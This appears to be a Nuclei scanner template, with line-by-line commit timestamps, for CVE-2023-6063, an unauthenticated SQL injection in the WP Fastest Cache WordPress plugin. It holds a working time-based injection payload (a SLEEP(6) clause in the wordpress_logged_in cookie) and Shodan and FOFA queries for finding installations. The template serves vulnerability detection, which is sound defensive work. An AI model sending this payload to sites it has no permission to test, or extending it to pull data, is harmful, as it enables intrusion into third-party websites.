2024-06-05 07:57:25 +00:00
id : CVE-2023-6063
2024-01-14 13:20:23 +00:00
info :
2024-06-05 07:39:33 +00:00
name : WP Fastest Cache 1.2.2 - SQL Injection
2024-01-14 13:20:23 +00:00
author : DhiyaneshDK
severity : high
description : |
The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
2024-03-23 09:28:19 +00:00
remediation : Fixed in 1.2.2
2024-01-14 13:20:23 +00:00
reference :
- https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/
- https://wordpress.org/plugins/wp-fastest-cache/
- https://github.com/motikan2010/CVE-2023-6063-PoC
- https://nvd.nist.gov/vuln/detail/CVE-2023-6063
- https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2023-6063
cwe-id : CWE-89
2024-03-23 09:28:19 +00:00
epss-score : 0.02974
2024-05-31 19:23:20 +00:00
epss-percentile : 0.90865
2024-01-14 13:49:27 +00:00
cpe : cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*
2024-01-14 13:20:23 +00:00
metadata :
2024-06-07 10:04:29 +00:00
max-request : 2
2024-03-23 09:28:19 +00:00
vendor : wpfastestcache
2024-06-07 10:04:29 +00:00
product : "wp_fastest_cache"
2024-03-23 09:28:19 +00:00
framework : wordpress
2024-06-07 10:04:29 +00:00
shodan-query : "http.html:/wp-content/plugins/wp-fastest-cache/"
fofa-query : "body=/wp-content/plugins/wp-fastest-cache/"
publicwww-query : "/wp-content/plugins/wp-fastest-cache/"
tags : cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache
2024-06-05 07:39:33 +00:00
flow : |
2024-06-05 07:55:59 +00:00
if (http(1)) {
for (let i = 0; i < 2; i++) {
http(2);
}}
2024-01-14 13:20:23 +00:00
2024-06-05 07:39:33 +00:00
http :
2024-06-05 07:55:59 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt"
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(body, "WP Fastest Cache")'
condition : and
internal : true
2024-06-05 07:39:33 +00:00
- raw :
- |
@timeout : 20s
GET /wp-login.php HTTP/1.1
Host : {{Hostname}}
Cookie : wordpress_logged_in=" AND (SELECT 5025 FROM (SELECT(SLEEP(6)))NkcI) AND "tqKU"="tqKU
2024-01-14 13:20:23 +00:00
matchers :
- type : dsl
dsl :
2024-06-05 07:39:33 +00:00
- 'duration>=6'
2024-01-14 13:20:23 +00:00
- 'status_code == 200'
2024-06-05 07:39:33 +00:00
- 'contains(body, "/wp-")'
2024-01-14 13:20:23 +00:00
condition : and
2024-06-05 08:08:43 +00:00
# digest: 4a0a00473045022004cfaae0dc548a746f2ac8518775b253ea274661021c3b7f22759e9d709b8ee6022100843555767a7cac5718662e92a81db100fec5216a00af6868223053d1470dfedf:922c64590222798bb761d5b6d8e72950